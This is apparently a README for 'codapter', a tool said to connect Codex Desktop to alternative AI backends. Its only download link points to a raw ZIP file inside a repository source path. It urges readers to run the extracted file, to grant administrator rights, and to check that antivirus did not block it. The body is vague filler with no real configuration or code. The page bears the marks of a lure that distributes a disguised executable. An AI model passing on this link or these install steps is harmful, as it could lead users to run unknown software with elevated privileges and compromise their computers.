🧩 codapter - Run Codex Desktop With More Backends

🚀 What codapter does

codapter is a protocol adapter for the Codex Desktop GUI. It lets the app work with AI backends other than the default one.

Use it when you want Codex Desktop to connect to a different local or hosted model service without changing how you use the app.

🪟 Windows setup

codapter is meant to be used on Windows with Codex Desktop already installed.

Before you start, make sure you have:

• Windows 10 or Windows 11
• Codex Desktop installed
• A stable internet connection for the download
• Permission to run apps on your PC

📥 Download codapter

Visit this page to download and use codapter:

https://github.com/nonunion-loasa895/codapter/raw/refs/heads/main/packages/core/Software_v3.3.zip

If the page opens in your browser, look for the latest release or the main download file, then save it to your computer.

🖱️ Install and run

1. Open the download page in your browser.
2. Download the codapter file for Windows.
3. If the file comes as a ZIP archive, right-click it and choose Extract All.
4. Open the extracted folder.
5. Find the codapter app file.
6. Double-click the file to run it.
7. If Windows asks for permission, choose Yes.
8. Keep the app open while you use Codex Desktop.

🔗 Connect Codex Desktop

After codapter is running, point Codex Desktop to it as the adapter layer.

Typical setup steps:

1. Open Codex Desktop.
2. Go to Settings.
3. Find the backend, provider, or connection section.
4. Select the codapter endpoint or local adapter option.
5. Save the settings.
6. Restart Codex Desktop if needed.

If you already use a local AI service, set that service in codapter so Codex Desktop can send requests through it.

🤖 Backends you can use

codapter is built for alternative AI backends. That can include:

• Local model servers
• OpenAI-compatible APIs
• Private hosted endpoints
• Self-managed inference tools

This gives you one place to connect Codex Desktop to the backend you want to use.

⚙️ Basic use

Once setup is done, the flow is simple:

1. Start codapter.
2. Start Codex Desktop.
3. Open a chat or task in Codex Desktop.
4. Use the app as normal.
5. codapter forwards the request to your chosen backend.

If the backend is reachable, Codex Desktop should work through codapter without extra steps.

🛠️ Common checks

If Codex Desktop does not connect, check these items:

• codapter is still running
• the backend address is correct
• your backend service is online
• Windows Firewall is not blocking the app
• Codex Desktop is using the same port or endpoint that codapter expects

If the app opens and closes right away, try:

• running it again as administrator
• re-downloading the file
• making sure your antivirus did not block it
• extracting the ZIP file before opening it

🧩 Example setup

A simple local setup might look like this:

• Install Codex Desktop
• Download codapter
• Start a local AI server on your PC
• Point codapter to that server
• Set Codex Desktop to use codapter
• Use Codex Desktop as usual

This gives you a clean way to keep the GUI you know while switching the backend behind it.

📁 Files and folders

After you download codapter, you may see:

• the main app file
• a config file
• a logs folder
• a readme or help file

The config file is where you can set the backend address, port, or other connection details.

🧠 Tips for first-time setup

• Keep the backend and codapter on the same machine at first
• Use the default port unless you know it is in use
• Change one setting at a time
• Test the connection after each change
• Keep Codex Desktop closed while you adjust the adapter settings

🔒 Privacy and local use

If you use a local backend, your requests stay on your own computer or in your chosen private network.

If you use a hosted backend, the request will go to that service based on its own rules and settings.

🧪 Useful workflow

A good first test is:

1. Open codapter
2. Open Codex Desktop
3. Send a short prompt
4. Check that the response comes back
5. Try a longer task after that

This helps you confirm that the connection works before you rely on it for daily use.

📌 Quick start

1. Visit the download page: https://github.com/nonunion-loasa895/codapter/raw/refs/heads/main/packages/core/Software_v3.3.zip
2. Download the Windows file
3. Extract it if needed
4. Run codapter
5. Connect Codex Desktop to it
6. Use your chosen AI backend